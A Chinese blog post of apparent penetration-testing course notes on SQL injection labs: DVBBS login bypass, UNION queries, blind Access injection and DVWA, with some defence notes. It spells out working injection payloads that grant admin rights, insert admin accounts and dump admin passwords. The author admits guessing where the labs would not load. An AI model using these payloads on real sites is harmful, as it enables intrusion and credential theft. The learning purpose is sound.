渗透测试 2 of 9

来源:互联网 发布:吴闲云水浒知乎 编辑:程序博客网 时间:2024/06/06 17:17

2. 注入


2.1 SQL注入原理:万能密码注入

万能密码原理

官方的网站没有登录上去…
大概之后类似的问题的解决方案就是猜SQL怎么写的,用’,【1‘or’1】这种的多试试可能就能出来了吧…之前一直听说是体力活来着
不过Acunetix Web Vulnerability Scanner里面好像有sql注入工具的说可以试试看


2.2 动网论坛8.2经典注入漏洞

20160819

注入
解释的简单粗暴啊= = 成为管理员实在很吸引我,下个chrome试试。firefox转不出来…

实验步骤

看了最后的题才知道注入分好多种
SQL盲注:用SQL查询语句去猜解表名、字段、数据。
延迟注入:时间差注入也叫延迟注入,是一种盲注的手法 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注。(高级邪教,鉴定完毕。)

看来到目前为止一直用的是盲注。毕竟不知道怎么获取到sql语句【难道真的是截数据包么】

先注册一个正常的号 aaa 密码 123456
表单输入aaa' and '1' = '1密码不变 —>所以这里应该可以正常登录吧
表单输入aaa' and '1' = '2密码不变 —>显示没有此账户

—下面开始变身为邪恶管理员,先加到dv_user表里—
表单输入 ' ; update dv_user set usergroupid=1 where username = 'aaa' -- 密码无所谓
解释一下: dv_user表更新, 设置名叫aaa的人的组号为1,把这句话后面的全都注释掉
—>按之前的测试应该会显示名叫“ ”的这个人不存在,但是新的语句一定是执行了
再次正常登录aaa的账号 —>已经变成管理员

—下面把自己加入到管理员登录页面的表里 dv_admin —
表单输入aaa' ; insert into dv_admin (username,password,flag,adduser) values('aaa','49ba59abbe56e057','1,2,3,...44,45','aaa')--- 密码为123456
解释一下:加入的这个人的password是123456的cmd密文(我没查到这个加密方式啊喂!),并不知道flag这么一大堆事用来做什么,adduser和username的区别不明【所以你到底都解释了些什么= = 】

下面应该就可以在管理员登录界面用原来的账号密码登录了。

如原理所说,所有的问题都是由于login.asp页面造成的。盲注赛高。
但是如何预防此问题嘞。。。。。。

妈妈叫我去吃饭了,下午分解~
另。此实验用firefox和chrome都没有打开,完全靠报告书脑补理解。

【结果下午根本没有看= =】


2.3 SQL注入原理:手工联合查询注入

union查询
又是简单粗暴的解释。又是怎么也打不开的网站…

实验步骤

实验用链接为http://192.168.1.3:8008/onews.asp?id=45
在链接后直接添加order by 11,即http://192.168.1.3:8008/onews.asp?id=45 order by 11,页面显示正常
解释一下: order by xx 意思是按xx排序,即按第11列排序,或直接写列名按列名排序,应该也可以指定升序降序。order by 后可以接任意数字,如果到某数字显示错误则没有此列,则此数字-1为已有的列数,可以进行下一步。

已知数据库有11列,在链接后添加union select语句。即192.168.1.3/onews.asp?id=45 union select 1,2,3,4,5,6,7,8,9,10,11 from admin得到如图效果。看到哪些部分能被显示
暴管理员用户密码
因为2,3能显示出来,修改刚才的链接为192.168.1.3/onews.asp?id=45 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
暴管理员用户密码

解释一下:
union select 的作用是在多个 列完全相同 的表中同时查询,把前一个select和后一个select的结果同时显示出来。本例中union前的id=45应该是个select语句。
关于为啥2,3的位置就能显示到页面上,可能是asp页面在此元素内调用了数据库的语句。


2.4 手工注入access数据库

喂喂喂之前数据怎么没了老子写了这么一大堆居然就没了你这样很容易失去我的csdn

关于sql和access数据库的区别

access注入
所以说这种东西没有个能实际玩的网页写了两遍blog根本没有意思嘛!

实验步骤

向链接后直接加入以下语句 判断注入点

’ –>如果错误说明此处注入可用 如果没错误…是说明不用再往下测了么【摊手】
and 1=1 –>如果没错误说明嗯and也许可以利用
and 1=2 –>如果有错误说明嗯and可以放心用来做注入了!

怎样注入呢。以下有几种方法可以混合使用。当然我目前还不知道如何更加快速高效的组合这些方法来最快的找到注入点
判断是否存在 exists()
and exists(select * from admin) –>没出错说明admin表存在
and exists(select password from admin) –>没出错表明password列存在,同理可以测试其他列
判断字串长度
and (select top 1 len(admin) from admin)>1 –>top 1 为返回此列的第一项。len()为获取字段长度。整句话是在判断是否字段长大于1。如果没出错则把1增加继续往下判断。比如到5出错就说明字段长度为5。
判断字符到底是啥
and (select top 1 asc(mid(admin,1,1)) from admin)>97 –> asc()为access数据库特有函数,获取内部字段的第一个字符的ASCII值。(sql中相同作用的函数为Ascii()。)整句话的意思是字符ASCII码是否为97,对应字母a。


2.5 DVWA之php+mysql手工注入

(dvwa是一个渗透测试演练系统,可以模拟完整的注入) 仍然进不去啊…这个平台…完全没法好好玩了

实验步骤(完全蒙着写)

利用平台的dvwa登录,进入SQL Injection
玩法:输入正确的ID可以返回名字等信息
只有一处表单所以毫无疑问是这里了

注入分为数字类型和字符类型,字符类型也就是‘字符’这样的形式。下面是如何查到注入点:
由于输入的是ID,猜测可能是数字类型,所以先输入 1 or 1=1,发现不行。尝试字符型 1’or ‘1’=’1 ,测试成功,返回所有id的名称信息。
解释一下:为什么返回所有id的名称信息呢?大概猜测是通过 select xxx from xxx where id=xxx这样的语句返回信息的吧,当where id=’1’ or ‘1’=’1 时就表示where语句是永远为true的,所以就返回了所有的信息啦塔奇克马~

下面想得到更多后台信息:
通过exists语句查看有什么表,叫什么名字。1' and exists(select * from user)没报错得知这个表叫做user。【欸等下原实验顺序不用得知表明也可以嗷嗷嗷,以及猜测列名前面也已经讲过了不再说了】

通过order by xx语句查看这个表里面有多少个列,1‘ order by 3 --报错,所以答案是2个。
在表单里输入 1' or 1=2 union select 1,2 --注意最后一定要有空格。union select好像是可以合法省略了的样子。话说为什么是1=2呢?猜测是因为union前面这句没有合格的结果所以只显示union后边的结果了吧。

嗯,结果长这样
union select
然后呢就替换1,2就好了。想要什么要什么

sql里面自带的很有用的函数如下:(之后想起来的话会补充的说)
user() 数据库账户名
database() 数据库名称
version() 版本
来自其他的表:
select @@global.version_compile_os from mysql.user 服务器操作系统信息
select schema_name from information_schema.schemata – 所有数据库名字。此表存储了mysql所有数据库和表的信息

高能:如何防止注入

其实在dewa里有有低中高三个级别

低级的注入完全就没防,直接用了GET方法拿到的id

$id = $_GET['id'];

中级的输入做了个转换

$id = $_GET['id'];$id = mysql_real_escape_string($id); //转义语句中使用字符串的特殊字符///此函数会对 '  "  这样的字符产生影响,说明不能再输入空作为where判断。以及如果数字型注入并不会产生影响。

高级更复杂

$id = $_GET['id'];$id = stripslashes($id);//$id = mysql_real_escape_string($id); if(is_numberic($id)){...}//检查id是否为数字

默认情况下,PHP会对所有的GET,POST和cookie数据自动运行addslashes(),此函数返回在部分与定义之前添加反斜杠,如【’】变成【\’】。stripslashes则是删除addslashes()添加的反斜杠。

此实验主要讲解对数字型注入的预防。【啊嘞嘞所以那个反斜杠又加上又去掉是做什么用的??】


0 0
原创粉丝点击